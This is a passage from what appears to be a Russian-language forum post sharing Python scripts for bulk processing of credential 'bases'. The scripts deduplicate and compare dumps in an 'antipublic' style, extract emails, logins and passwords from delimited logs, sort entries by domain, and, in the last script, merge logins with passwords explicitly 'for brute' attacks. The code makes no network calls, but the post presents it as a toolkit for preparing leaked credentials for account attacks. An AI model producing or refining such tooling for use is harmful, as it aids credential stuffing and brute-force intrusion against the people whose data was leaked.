merged_files.append(temp_file) # Добавляем временный файл в список
total_unique_count += unique_count
total_duplicate_count += duplicate_count
for temp_file in temp_files:
if os.path.exists(temp_file):
logger.info(f"Удаление временного файла: {temp_file}")
os.remove(temp_file) # Удаляем обработанные временные файлы
else:
logger.warning(f"Файл не найден для удаления: {temp_file}")
return merged_files, total_unique_count, total_duplicate_count
except Exception as e:
logger.error(f"Ошибка при пакетном слиянии: {e}")
return temp_files, 0, 0
def final_merge(temp_dir, output_file):
"""
Выполняет финальное слияние всех оставшихся временных файлов.
:param temp_dir: Путь к временной директории
:param output_file: Имя выходного файла
:return: (количество уникальных строк, количество удаленных дубликатов)
"""
logger.info(f"Финальная стадия слияния временных файлов из папки {temp_dir}.")
temp_files = [os.path.join(temp_dir, f) for f in os.listdir(temp_dir) if os.path.isfile(os.path.join(temp_dir, f))] # Список временных файлов для финального слияния
if len(temp_files) > 1: # Если файлов больше одного, запускаем слияние
unique_count, duplicate_count, output_file = merge_files_parallel(temp_files, output_file) # Параллельно сливаем файлы
elif len(temp_files) == 1: # Если остался только один файл
logger.info(f"Остался один файл. Переименование {temp_files[0]} в {output_file}")
os.rename(temp_files[0], output_file) # Переименовываем файл в выходной
unique_count, duplicate_count = 0, 0 # Устанавливаем нулевые значения для счетчиков
else:
logger.error("Не осталось временных файлов для слияния!")
return 0, 0 # Возвращаем нули в случае ошибки
logger.info(f"Финальное слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}")
try:
shutil.rmtree(temp_dir) # Удаляем временную директорию
logger.info(f"Временная папка {temp_dir} успешно удалена.")
except Exception as e:
logger.error(f"Ошибка при удалении временной папки {temp_dir}: {e}")
return unique_count, duplicate_count # Возвращаем количество уникальных строк и дубликатов
def read_and_process_chunks_multiprocess(input_file, chunk_size=2000000, num_processes=24):
"""
Читает входной файл по чанкам и обрабатывает их в многопроцессорном режиме.
:param input_file: Имя входного файла
:param chunk_size: Размер чанка (количество строк)
:param num_processes: Количество процессов для обработки
:return: (список временных файлов, общее количество прочитанных строк)
"""
temp_files = [] # Список для временных файлов
chunk = [] # Буфер для хранения чанка строк
original_count = 0 # Счетчик общего числа строк
logger.info(f"Чтение и обработка файла {input_file} в {num_processes} процессах...")
try:
with open(input_file, 'r', encoding='utf-8', errors='ignore') as infile: # Открываем входной файл для чтения
with ProcessPoolExecutor \
(max_workers=num_processes) as executor: # Создаем процессный пул для обработки чанков
futures = [] # Список задач для выполнения
for line in infile: # Читаем файл построчно
chunk.append(line.strip()) # Добавляем строку в чанк
original_count += 1 # Увеличиваем счетчик строк
if len(chunk) >= chunk_size: # Если чанк достиг нужного размера
futures.append(executor.submit(process_chunk_and_write_multiprocess, chunk, temp_dir)) # Отправляем чанк на обработку в пул процессов
chunk = [] # Очищаем чанк
if chunk: # Если остались строки после завершения цикла
futures.append(executor.submit(process_chunk_and_write_multiprocess, chunk, temp_dir)) # Обрабатываем оставшийся чанк
for future in as_completed(futures): # Ожидаем завершения всех задач
temp_file = future.result() # Получаем результат задачи
if temp_file:
temp_files.append(temp_file) # Добавляем временный файл в список
logger.info \
(f"Чтение и обработка завершены (процессами). Всего строк: {original_count}") # Логируем завершение обработки файла
except Exception as e:
logger.error(f"Ошибка при чтении файла (процессы): {e}") # Логируем ошибку в случае сбоя
return temp_files, original_count # Возвращаем список временных файлов и общее количество строк
def sort_and_uniq_streaming_multiprocess(input_file, output_file, chunk_size=2000000, batch_size=10, num_processes=24, num_merge_processes=24):
"""
Основная функция для сортировки и удаления дубликатов из большого файла с использованием многопроцессорной обработки.
:param input_file: Имя входного файла
:param output_file: Имя выходного файла
:param chunk_size: Размер чанка для обработки
:param batch_size: Размер пакета для слияния
:param num_processes: Количество процессов для обработки чанков
:param num_merge_processes: Количество процессов для слияния
:return: (общее количество строк, количество уникальных строк)
"""
logger.info(f"Старт обработки файла {input_file}...") # Логируем начало процесса
temp_files, original_count = read_and_process_chunks_multiprocess(input_file, chunk_size, num_processes) # Читаем и обрабатываем файл по чанкам
logger.info(f"Начинается пакетное слияние временных файлов...") # Логируем начало пакетного слияния
total_unique_count = 0 # Инициализируем счетчик всех уникальных строк
total_duplicate_count = 0 # Инициализируем счетчик всех дубликатов
while len(temp_files) > batch_size: # Пока временных файлов больше, чем размер пакета
temp_files, unique_count, duplicate_count = batch_merge(temp_files, batch_size, temp_dir, num_merge_processes) # Выполняем пакетное слияние
total_unique_count += unique_count # Обновляем общий счетчик уникальных строк
total_duplicate_count += duplicate_count # Обновляем общий счетчик дубликатов
unique_count, duplicate_count = final_merge(temp_dir, output_file) # Выполняем финальное слияние
total_unique_count += unique_count # Обновляем счетчик уникальных строк
total_duplicate_count += duplicate_count # Обновляем счетчик дубликатов
return original_count, unique_count # Возвращаем общее количество строк и количество уникальных строк
# Основная функция модуля
def remove_duplicates(data):
tic = time.perf_counter() # Начало отсчета времени
input_file = data
output_file = "output.txt" # Указываем экспортируемый файл
original_count, unique_count = sort_and_uniq_streaming_multiprocess(input_file, output_file, num_processes=24, num_merge_processes=24) # Запускаем основную функцию обработки
tac = time.perf_counter() # Конец отсчета времени
logging.info(f"Все временные файлы удалены. Уникальных строк: {unique_count}, Дублей удалено (на всех этапах процессов слияния): {original_count - unique_count}") # Логируем результаты
logging.info(f"Всего обработано строк: {original_count}") # Логируем количество обработанных строк
logging.info(f"Удаление дублей и сортировка заняли {tac - tic:0.2f} секунд") # Логируем время выполнения
logging.info(f"Файл успешно сохранен в {output_file}")
2. Сравнение текстовых баз (compare_databases.py). Работает следующим
образом, указываете директорию где находятся текстовые файлы с базами,
происходит их сравнение на дубли, дубли очищаются на выходе, получаете базы
без дублей+файл с удаленными дублями (типа антипаблика).
Код:
Python:Copy to clipboard
import os
import logging
import time
from collections import defaultdict
# Настройка логирования
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s"
)
logger = logging.getLogger(__name__)
def read_file_lines(filepath):
"""
Читает строки из файла построчно и возвращает их как множество.
:param filepath: Путь к файлу.
:return: Генератор строк.
"""
logger.info(f"Начато чтение строк из файла: {filepath}")
total_lines = 0
try:
with open(filepath, 'r', encoding='utf-8') as file:
for line in file:
total_lines += 1
yield line.strip()
logger.info(f"Успешно прочитано {total_lines} строк из файла: {filepath}")
except Exception as e:
logger.error(f"Ошибка при чтении файла {filepath}: {e}")
raise
def compare_files(input_dir, output_dir):
"""
Сравнивает строки в текстовых файлах из указанной директории.
:param input_dir: Директория с текстовыми файлами.
:param output_dir: Директория для сохранения результатов.
"""
try:
start_time = time.time()
# Проверка входной и выходной директории
logger.info(f"Проверка существования директории {input_dir}")
if not os.path.exists(input_dir):
raise FileNotFoundError(f"Директория {input_dir} не найдена.")
logger.info(f"Проверка существования директории {output_dir}")
if not os.path.exists(output_dir):
logger.info(f"Директория не найдена, создаём: {output_dir}")
os.makedirs(output_dir)
# Получаем список текстовых файлов
logger.info(f"Получение списка файлов в директории: {input_dir}")
files = [os.path.join(input_dir, f) for f in os.listdir(input_dir) if os.path.isfile(os.path.join(input_dir, f))]
if len(files) < 2:
raise ValueError("Для сравнения необходимо минимум два файла.")
logger.info(f"Найдено файлов для сравнения: {len(files)}. Список файлов: {files}")
# Хранилище строк
file_lines = defaultdict(set)
all_lines = set()
# Чтение строк из файлов
for filepath in files:
logger.info(f"Чтение строк из файла: {filepath}")
for line in read_file_lines(filepath):
file_lines[filepath].add(line)
all_lines.add(line)
# Определяем общие строки
logger.info("Вычисление совпадающих строк...")
common_lines = set.intersection(*(lines for lines in file_lines.values()))
logger.info(f"Обнаружено {len(common_lines)} совпадающих строк.")
# Уникальные строки для каждого файла
for filepath, lines in file_lines.items():
unique_lines = lines - common_lines
unique_output_path = os.path.join(output_dir, f"unique_{os.path.basename(filepath)}")
logger.info(f"Сохранение уникальных строк для {os.path.basename(filepath)}. Всего строк: {len(unique_lines)}.")
with open(unique_output_path, 'w', encoding='utf-8', errors='replace') as file:
file.writelines(f"{line}\n" for line in unique_lines)
logger.info(f"Уникальные строки для {os.path.basename(filepath)} сохранены в {unique_output_path}")
# Сохраняем совпадающие строки
common_output_path = os.path.join(output_dir, "common_lines.txt")
logger.info(f"Сохранение совпадающих строк. Всего строк: {len(common_lines)}.")
with open(common_output_path, 'w', encoding='utf-8', errors='replace') as file:
file.writelines(f"{line}\n" for line in common_lines)
logger.info(f"Совпадающие строки сохранены в {common_output_path}")
end_time = time.time()
logger.info(f"Сравнение завершено за {end_time - start_time:.2f} секунд.")
except Exception as e:
logger.error(f"Ошибка при сравнении файлов: {e}")
raise e
def main():
input_dir = input("Введите путь к директории с файлами для сравнения: ").strip()
output_dir = input("Введите путь к директории для сохранения результатов: ").strip()
try:
logger.info("Начало выполнения программы сравнения текстовых файлов.")
compare_files(input_dir, output_dir)
logger.info("Сравнение завершено успешно.")
except Exception as e:
logger.error(f"Ошибка: {e}")
if __name__ == "__main__":
main()
3. Найти и извлечь Email из строк (extract_email.py), находит по регулярке в
текстовом файле Email адреса и извлекает их.
Код:
Python:Copy to clipboard
import os
import re
import heapq
import logging
import time
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("extract_email.log", encoding="utf-8")
]
)
# Регулярное выражение для извлечения email
EMAIL_REGEX = re.compile(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}')
def extract_emails(input_file: str, output_file: str):
"""
Извлекает email-адреса из строк входного файла и сохраняет их в отдельный файл.
:param input_file: Путь к входному файлу
:param output_file: Имя выходного файла для сохранения email-адресов
"""
start_time = time.time()
logger.info(f"Начало извлечения email-адресов. Входной файл: {input_file}, Выходной файл: {output_file}")
try:
# Проверяем наличие директории для выходного файла
output_dir = os.path.dirname(output_file)
if output_dir and not os.path.exists(output_dir):
logger.info(f"Выходная директория {output_dir} не найдена. Создаём её.")
os.makedirs(output_dir)
total_emails_extracted = 0 # Счётчик извлечённых email-адресов
# Открываем входной и выходной файлы
with open(input_file, 'r', encoding='utf-8', errors='replace') as infile, \
open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
# Используем heapq.merge для обработки строк
for line in heapq.merge(iter(infile)):
try:
# Извлекаем все email из строки
emails = EMAIL_REGEX.findall(line)
if emails:
for email in emails:
outfile.write(email + '\n')
total_emails_extracted += len(emails)
except Exception as e:
logger.warning(f"Ошибка обработки строки: {line.strip()}. Детали: {e}")
logger.info(f"Извлечение завершено. Всего email-адресов извлечено: {total_emails_extracted}")
except FileNotFoundError:
logger.error(f"Файл {input_file} не найден.")
return
except Exception as e:
logger.error(f"Ошибка в процессе извлечения: {e}")
return
finally:
# Рассчитываем время выполнения
end_time = time.time()
elapsed_time = end_time - start_time
logger.info(f"Время выполнения: {elapsed_time:.2f} секунд.")
def main():
try:
logger.info("Запуск программы")
# Запрос параметров у пользователя
input_file = input("Введите путь к входному файлу (с расширением): ").strip()
output_file = input("Введите путь и имя выходного файла (с расширением): ").strip()
extract_emails(input_file, output_file)
except KeyboardInterrupt:
logger.warning("Операция прервана пользователем.")
except Exception as e:
logger.error(f"Ошибка в основной функции: {e}")
if __name__ == "__main__":
main()
4. Извлечь логины (extract_logins.py). Работает по принципу, указываете
разделитель в вашем логе и столбец с логином (начинается с 0), извлекаете
логины.
Код:
Python:Copy to clipboard
import os
import heapq
import logging
import time
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("extract_logins.log", encoding="utf-8")
]
)
def extract_logins(input_file: str, output_file: str, delimiter: str, position: int):
"""
Извлекает логины из строк файла и сохраняет их в отдельный файл.
:param input_file: Путь к входному файлу
:param output_file: Имя выходного файла для сохранения логинов
:param delimiter: Разделитель, используемый для извлечения логина
:param position: Позиция логина по разделителю (0 — первая колонка)
"""
start_time = time.time()
logger.info(f"Начало извлечения логинов. Входной файл: {input_file}, Выходной файл: {output_file}, "
f"Разделитель: '{delimiter}', Позиция: {position}")
try:
# Проверяем наличие директории для выходного файла
output_dir = os.path.dirname(output_file)
if output_dir and not os.path.exists(output_dir):
logger.info(f"Выходная директория {output_dir} не найдена. Создаём её.")
os.makedirs(output_dir)
total_login_extracted = 0 # Счётчик извлечённых логинов
# Открываем входной и выходной файлы
with open(input_file, 'r', encoding='utf-8', errors='replace') as infile, \
open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
# Использую heapq для обработки строк
for line in heapq.merge(iter(infile)):
try:
# Разбиваю строку по разделителю
parts = line.strip().split(delimiter)
if len(parts) > position:
login = parts[position].strip()
outfile.write(login + '\n')
total_login_extracted += 1
else:
logger.warning(f"Пропуск строки: {line.strip()} (мало частей для позиции {position})")
except Exception as e:
logger.warning(f"Ошибка обработки строки: {line.strip()}. Детали: {e}")
logger.info(f"Извлечение завершено. Всего логинов извлечено: {total_login_extracted}")
except FileNotFoundError:
logger.error(f"Файл {input_file} не найден.")
return
except Exception as e:
logger.error(f"Ошибка в процессе извлечения: {e}")
return
finally:
# Рассчитываем время выполнения
end_time = time.time()
elapsed_time = end_time - start_time
logger.info(f"Время выполнения: {elapsed_time:.2f} секунд.")
def main():
try:
logger.info("Запуск программы")
# Запрос параметров у пользователя
input_file = input("Введите путь к входному файлу (с раширением): ").strip()
output_file = input("Введите путь и имя выходного файла (с расширением): ").strip()
delimiter = input("Введите разделитель (например, ':', '|', '/', ';'): ").strip()
position = int(input("Введите позицию логина по разделителю (0 — первая колонка): ").strip())
extract_logins(input_file, output_file, delimiter, position)
except KeyboardInterrupt:
logger.warning("Операция прервана пользователем.")
except Exception as e:
logger.error(f"Ошибка в основной функции: {e}")
if __name__ == "__main__":
main()
5. Извлечь пароли (extract_passwords.py). Все тоже самое что и для логинов,
просто дубль функционала.
Код:
Python:Copy to clipboard
import os
import heapq
import logging
import time
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("extract_password.log", encoding="utf-8")
]
)
def extract_passwords(input_file: str, output_file: str, delimiter: str, position: int):
"""
Извлекает пароли из строк файла и сохраняет их в отдельный файл.
:param input_file: Путь к входному файлу
:param output_file: Имя выходного файла для сохранения паролей
:param delimiter: Разделитель, используемый для извлечения пароля
:param position: Позиция пароля по разделителю (0 — первая колонка)
"""
start_time = time.time()
logger.info(f"Начало извлечения паролей. Входной файл: {input_file}, Выходной файл: {output_file}, "
f"Разделитель: '{delimiter}', Позиция: {position}")
try:
# Проверяем наличие директории для выходного файла
output_dir = os.path.dirname(output_file)
if output_dir and not os.path.exists(output_dir):
logger.info(f"Выходная директория {output_dir} не найдена. Создаём её.")
os.makedirs(output_dir)
total_passwords_extracted = 0 # Счётчик извлечённых паролей
# Открываем входной и выходной файлы
with open(input_file, 'r', encoding='utf-8', errors='replace') as infile, \
open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
# Использую heapq для обработки строк
for line in heapq.merge(iter(infile)):
try:
# Разбиваю строку по разделителю
parts = line.strip().split(delimiter)
if len(parts) > position:
password = parts[position].strip()
outfile.write(password + '\n')
total_passwords_extracted += 1
else:
logger.warning(f"Пропуск строки: {line.strip()} (мало частей для позиции {position})")
except Exception as e:
logger.warning(f"Ошибка обработки строки: {line.strip()}. Детали: {e}")
logger.info(f"Извлечение завершено. Всего паролей извлечено: {total_passwords_extracted}")
except FileNotFoundError:
logger.error(f"Файл {input_file} не найден.")
return
except Exception as e:
logger.error(f"Ошибка в процессе извлечения: {e}")
return
finally:
# Рассчитываем время выполнения
end_time = time.time()
elapsed_time = end_time - start_time
logger.info(f"Время выполнения: {elapsed_time:.2f} секунд.")
def main():
try:
logger.info("Запуск программы")
# Запрос параметров у пользователя
input_file = input("Введите путь к входному файлу (с раширением): ").strip()
output_file = input("Введите путь и имя выходного файла (с расширением): ").strip()
delimiter = input("Введите разделитель (например, ':', '|', '/', ';'): ").strip()
position = int(input("Введите позицию пароля по разделителю (0 — первая колонка): ").strip())
extract_passwords(input_file, output_file, delimiter, position)
except KeyboardInterrupt:
logger.warning("Операция прервана пользователем.")
except Exception as e:
logger.error(f"Ошибка в основной функции: {e}")
if __name__ == "__main__":
main()
6. Сортировать по доменам (Email/URL) - (sort_by_domains.py), работает в трех
режимах (one_file/by_domains/filter_domains). Режим когда просто выполняется
сортировка строк по доменам в 1 выходной файл, и когда файлы разбиваются по
доменам, а также чтение лога и фильтрация в файл или по файлам по конкретно
указанным доменам. Email или URL вычисляется динамически по регулярке.
Код:
Python:Copy to clipboard
import os
import re
import heapq
import logging
import time
import tempfile
import shutil
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - [%(filename)s:%(lineno)d] - %(message)s",
handlers=[logging.StreamHandler(),
logging.FileHandler("sort_by_domains.log", encoding="utf-8", mode='a')]
)
# Регулярные выражения для извлечения email и URL
EMAIL_REGEX = re.compile(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}')
URL_REGEX = re.compile(r'(https?://)?([a-zA-Z0-9.-]+\.[a-zA-Z]{2,})')
def extract_domain(string: str):
"""
Извлекает домен из строки (email или URL).
:param string: Строка, содержащая email или URL
:return: Домен или None
"""
# Проверка для email
email_match = EMAIL_REGEX.search(string)
if email_match:
domain = email_match.group(0).split('@')[1]
logger.debug(f"Извлечен домен электронной почты: {domain}")
return domain
# Проверка для URL
url_match = URL_REGEX.search(string)
if url_match:
domain = url_match.group(2)
# Извлекаем только зону первого уровня (например, '.ru', '.com')
parts = domain.split('.')
if len(parts) > 1:
top_level_domain = parts[-1]
# Собираем домен из первого уровня
domain = f".{top_level_domain}"
logger.debug(f"Извлечен домен URL (по зоне первого уровня): {domain}")
return domain
logger.debug(f"Не удалось извлечь домен из строки: {string}")
return None
def sort_domains(input_file: str, output_dir: str, output_mode: str, filter_domains=None):
"""
Обрабатывает строки из входного файла и сохраняет домены в файлы.
:param input_file: Путь к входному файлу
:param output_dir: Путь к директории для сохранения результатов
:param output_mode: Режим обработки ('one_file', 'by_domains', 'filter_domains')
:param filter_domains: Список доменов для фильтрации (только для режима 'filter_domains')
"""
try:
# Засекаем время начала обработки
start_time = time.time()
logger.info(f"Начало обработки файла: {input_file}")
logger.info(f"Режим обработки: {output_mode}")
if filter_domains:
logger.info(f"Фильтрация по доменам: {', '.join(filter_domains)}")
# Проверяем наличие директории для выходных файлов
if not os.path.exists(output_dir):
logger.warning(f"Директория {output_dir} не существует. Создаём новую.")
os.makedirs(output_dir)
if output_mode == 'one_file':
# Создаем временную папку для хранения промежуточных файлов
temp_dir = tempfile.mkdtemp(dir=output_dir)
logger.info(f"Создана временная папка для промежуточных файлов: {temp_dir}")
# Статистика обработки
total_lines = 0
processed_lines = 0
unique_domains = set()
domain_line_counts = {}
# Открываем входной файл
with open(input_file, 'r', encoding='utf-8', errors='replace') as infile:
# Словарь для хранения доменов по файлам
domain_files = {}
# Чтение строк из файла с использованием heapq.merge для эффективности и экономии ОЗУ
for line in heapq.merge(infile):
line = line.strip()
total_lines += 1
# Извлечение домена из строки
domain = extract_domain(line)
if domain:
processed_lines += 1
unique_domains.add(domain)
# Подсчет строк для каждого домена
domain_line_counts[domain] = domain_line_counts.get(domain, 0) + 1
if output_mode == "one_file":
# В режиме 'one_file' записываем все строки в файлы по доменам
temp_file_path = os.path.join(temp_dir, f"{domain}.tmp")
if domain not in domain_files:
domain_files[domain] = open(temp_file_path, 'w', encoding='utf-8')
domain_files[domain].write(line + '\n')
elif output_mode == "by_domains":
# В режиме 'by_domains' создаём файлы для каждого домена
if domain not in domain_files:
domain_files[domain] = open(os.path.join(output_dir, f"{domain}.txt"), 'a', encoding='utf-8')
domain_files[domain].write(line + '\n')
elif output_mode == "filter_domains" and filter_domains:
# В режиме 'filter_domains' сохраняем строки только для указанных доменов
if domain in filter_domains:
if domain not in domain_files:
domain_files[domain] = open(os.path.join(output_dir, f"{domain}.txt"), 'a', encoding='utf-8')
domain_files[domain].write(line + '\n')
# Закрытие временных файлов для доменов
for file in domain_files.values():
file.close()
# В режиме 'one_file' объединяем все временные файлы и сортируем их
if output_mode == "one_file":
logger.info("Начинаем слияние и сортировку временных файлов...")
with open(os.path.join(output_dir, "output.txt"), 'w', encoding='utf-8') as output_file:
# Создаём генератор для всех временных файлов
all_temp_files = [open(os.path.join(temp_dir, f"{domain}.tmp"), 'r', encoding='utf-8')
for domain in domain_files.keys()]
# Слияние временных файлов с сортировкой по домену в один файл
merged_lines = heapq.merge(*all_temp_files, key=lambda line: extract_domain(line))
output_file.writelines(merged_lines)
# Закрытие всех временных файлов
for file in all_temp_files:
file.close()
logger.info("Слияние и сортировка завершены. Все данные записаны в output.txt.")
# Удаляем временную папку и все ее содержимое
shutil.rmtree(temp_dir)
logger.info(f"Временная папка {temp_dir} была удалена.")
# Засекаем время окончания обработки
end_time = time.time()
elapsed_time = end_time - start_time
# Логирование статистики обработки
logger.info(f"Статистика обработки:")
logger.info(f"- Всего строк в файле: {total_lines}")
logger.info(f"- Обработано строк с доменами: {processed_lines}")
logger.info(f"- Уникальных доменов найдено: {len(unique_domains)}")
logger.info(f"Время выполнения: {elapsed_time:.2f} секунд.")
# Логирование распределения доменов (топ-5)
sorted_domains = sorted(domain_line_counts.items(), key=lambda x: x[1], reverse=True)
logger.info("Топ-5 доменов по количеству строк:")
for domain, count in sorted_domains[:5]:
logger.info(f" - {domain}: {count} строк")
except FileNotFoundError:
logger.error(f"ОШИБКА: Файл {input_file} не найден.")
except PermissionError:
logger.error(f"ОШИБКА: Нет прав доступа к файлу {input_file} или директории {output_dir}.")
except Exception as e:
logger.error(f"КРИТИЧЕСКАЯ ОШИБКА в процессе обработки: {e}")
def main():
try:
logger.info("=" * 50)
logger.info("СТАРТ СКРИПТА: Сортировка доменов")
logger.info("=" * 50)
# Запрос параметров у пользователя
input_file = input("Введите путь к входному файлу (с расширением): ").strip()
output_dir = input("Введите путь к директории для сохранения: ").strip()
# Меню выбора режима
while True:
print("\nВыберите режим обработки:")
print("1. Сортировка всех строк в один файл (one_file)")
print("2. Сортировка по доменам в отдельные файлы (by_domains)")
print("3. Экспорт строк по указанным доменам (filter_domains)")
print("0. Выход")
choice = input("Введите номер режима: ").strip()
if choice == "1":
output_mode = "one_file"
filter_domains = None
break
elif choice == "2":
output_mode = "by_domains"
filter_domains = None
break
elif choice == "3":
output_mode = "filter_domains"
domains_input = input("Введите домены для фильтрации (через запятую): ").strip()
filter_domains = [domain.strip() for domain in domains_input.split(',')]
break
elif choice == "0":
print("Выход из программы.")
return
else:
print("Неверный выбор. Попробуйте снова.")
# Обработка строк в зависимости от выбранного режима
sort_domains(input_file, output_dir, output_mode, filter_domains)
logger.info("=" * 50)
logger.info("ЗАВЕРШЕНИЕ СКРИПТА")
logger.info("=" * 50)
except KeyboardInterrupt:
logger.warning("ВНИМАНИЕ: Операция прервана пользователем.")
except Exception as e:
logger.error(f"КРИТИЧЕСКАЯ ОШИБКА в основной функции: {e}")
if __name__ == "__main__":
main()
7. Удаление доменов из Email адресов. (remove_domains.py) Прописываете путь к
файлу c мыльниками, на выходе получаете файл без @domain.com
Код:
Python:Copy to clipboard
import os
import heapq
import logging
import time
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - [%(filename)s:%(lineno)d] - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("remove_domains.log", encoding="utf-8", mode='a')
]
)
def extract_name(email: str) -> str:
"""
Извлекает имя пользователя из email (часть до @).
:param email: Строка с email.
:return: Имя пользователя или пустая строка.
"""
if "@" in email:
return email.split("@")[0]
return email
def line_generator(file_path: str):
"""
Генератор для построчного чтения файла.
:param file_path: Путь к входному файлу.
:yield: Очищенная строка из файла.
"""
with open(file_path, 'r', encoding='utf-8', errors='replace') as file:
for line in file:
yield line.strip()
def remove_domains(input_file: str, output_file: str):
"""
Удаляет домены из строк электронной почты и записывает результат в выходной файл.
:param input_file: Путь к входному файлу.
:param output_file: Путь к выходному файлу.
"""
try:
start_time = time.time()
logger.info(f"Начало обработки файла: {input_file}")
# Проверяем наличие директории для выходного файла и создаём её при необходимости
output_dir = os.path.dirname(output_file)
if output_dir and not os.path.exists(output_dir):
logger.warning(f"Директория {output_dir} не существует. Создаём новую.")
os.makedirs(output_dir)
# Проверяем наличие расширения у выходного файла
if not os.path.splitext(output_file)[1]:
logger.warning(f"У файла {output_file} отсутствует расширение. Добавляем '.txt'.")
output_file += ".txt"
# Открыть файл для записи и обработать данные
with open(output_file, 'w', encoding='utf-8') as outfile:
processed_lines = (
extract_name(email) for email in line_generator(input_file)
)
for name in heapq.merge(processed_lines):
outfile.write(name + '\n')
end_time = time.time()
logger.info(f"Обработка завершена. Время выполнения: {end_time - start_time:.2f} секунд.")
logger.info(f"Результат записан в файл: {output_file}")
except FileNotFoundError:
logger.error(f"ОШИБКА: Файл {input_file} не найден.")
except PermissionError:
logger.error(f"ОШИБКА: Нет прав доступа к файлу {input_file} или {output_file}.")
except Exception as e:
logger.error(f"КРИТИЧЕСКАЯ ОШИБКА: {e}")
def main():
try:
logger.info("=" * 50)
logger.info("СТАРТ СКРИПТА: Удаление доменов из email")
logger.info("=" * 50)
# Запрос параметров у пользователя
input_file = input("Введите путь к входному файлу (с расширением): ").strip()
output_file = input("Введите путь к выходному файлу (с расширением): ").strip()
if not os.path.exists(input_file):
logger.error(f"Входной файл {input_file} не найден.")
return
remove_domains(input_file, output_file)
logger.info("=" * 50)
logger.info("ЗАВЕРШЕНИЕ СКРИПТА")
logger.info("=" * 50)
except KeyboardInterrupt:
logger.warning("ВНИМАНИЕ: Операция прервана пользователем.")
except Exception as e:
logger.error(f"КРИТИЧЕСКАЯ ОШИБКА в основной функции: {e}")
if __name__ == "__main__":
main()
8. Склеить строки с паролями(merge_with_passwords.py) - (допустим надо
склеить строки для брута). Работает в двух режимах. ('manual' или
'from_file'). В первом режиме вы задаете 1 пароль на строку, во втором
склеиваете 2 списка это логины и пароли (допустим).
Код:
Python:Copy to clipboard
import os
import logging
import time
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - [%(filename)s:%(lineno)d] - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("append_passwords.log", encoding='utf-8', mode='a')
]
)
def line_generator(file_path: str):
"""
Генератор для построчного чтения файла.
:param file_path: Путь к входному файлу.
"""
with open(file_path, 'r', encoding='utf-8', errors='replace') as file:
for line in file:
yield line.strip()
def password_generator(file_path: str):
"""
Генератор для построчного чтения файла с паролями.
:param file_path: Путь к файлу с паролями.
:yield: Пароль из файла.
"""
with open(file_path, 'r', encoding='utf-8', errors='replace') as file:
for line in file:
yield line.strip()
def append_passwords_with_password_file(input_file: str, output_file: str, passwords_file: str, delimiter: str):
"""
Режим добавления паролей из файла, добавляя все пароли на каждую строку.
:param input_file: Путь к входному файлу.
:param output_file: Путь к выходному файлу.
:param passwords_file: Путь к файлу с паролями.
:param delimiter: Разделитель для строки и пароля.
"""
with open(output_file, 'w', encoding='utf-8') as outfile:
input_lines = line_generator(input_file)
password_lines = list(password_generator(passwords_file)) # Сохраняем все пароли в список
for line in input_lines:
for password in password_lines:
outfile.write(f"{line}{delimiter}{password}\n")
def append_passwords_with_manual_password(input_file: str, output_file: str, password: str, delimiter: str):
"""
Режим добавления указанного пользователем пароля к строкам.
:param input_file: Путь к входному файлу.
:param output_file: Путь к выходному файлу.
:param password: Пароль для добавления.
:param delimiter: Разделитель для строки и пароля.
"""
with open(output_file, 'w', encoding='utf-8') as outfile:
for line in line_generator(input_file):
outfile.write(f"{line}{delimiter}{password}\n")
def append_passwords(input_file: str, output_file: str, mode: str, password: str = None, passwords_file: str = None, delimiter: str = ':'):
"""
Добавляет пароли к строкам в зависимости от выбранного режима.
:param input_file: Путь к входному файлу.
:param output_file: Путь к выходному файлу.
:param mode: Режим работы ('manual' или 'from_file').
:param password: Пароль для режима 'manual'.
:param passwords_file: Путь к файлу с паролями для режима 'from_file'.
:param delimiter: Разделитель для строки и пароля.
"""
try:
start_time = time.time()
logger.info(f"Начало обработки файла: {input_file}")
logger.info(f"Выбранный режим: {mode}")
# Проверяем наличие директории для выходного файла и создаём её при необходимости
output_dir = os.path.dirname(output_file)
if output_dir and not os.path.exists(output_dir):
logger.warning(f"Директория {output_dir} не существует. Создаём новую.")
os.makedirs(output_dir)
# Проверяем наличие расширения у выходного файла
if not os.path.splitext(output_file)[1]:
logger.warning(f"У файла {output_file} отсутствует расширение. Добавляем '.txt'.")
output_file += ".txt"
if mode == 'manual':
if password is None:
raise ValueError("Для режима 'manual' необходимо указать пароль.")
append_passwords_with_manual_password(input_file, output_file, password, delimiter)
elif mode == 'from_file':
if passwords_file is None or not os.path.exists(passwords_file):
raise ValueError("Для режима 'from_file' необходимо указать существующий файл с паролями.")
append_passwords_with_password_file(input_file, output_file, passwords_file, delimiter)
else:
raise ValueError("Неверный режим. Используйте 'manual' или 'from_file'.")
end_time = time.time()
logger.info(f"Обработка завершена. Время выполнения: {end_time - start_time:.2f} секунд.")
logger.info(f"Результат записан в файл: {output_file}")
except Exception as e:
logger.error(f"КРИТИЧЕСКАЯ ОШИБКА: {e}")
def main():
try:
logger.info("=" * 50)
logger.info("СТАРТ СКРИПТА: Добавление пароля к строкам")
logger.info("=" * 50)
# Запрос параметров у пользователя
input_file = input("Введите путь к входному файлу (с расширением): ").strip()
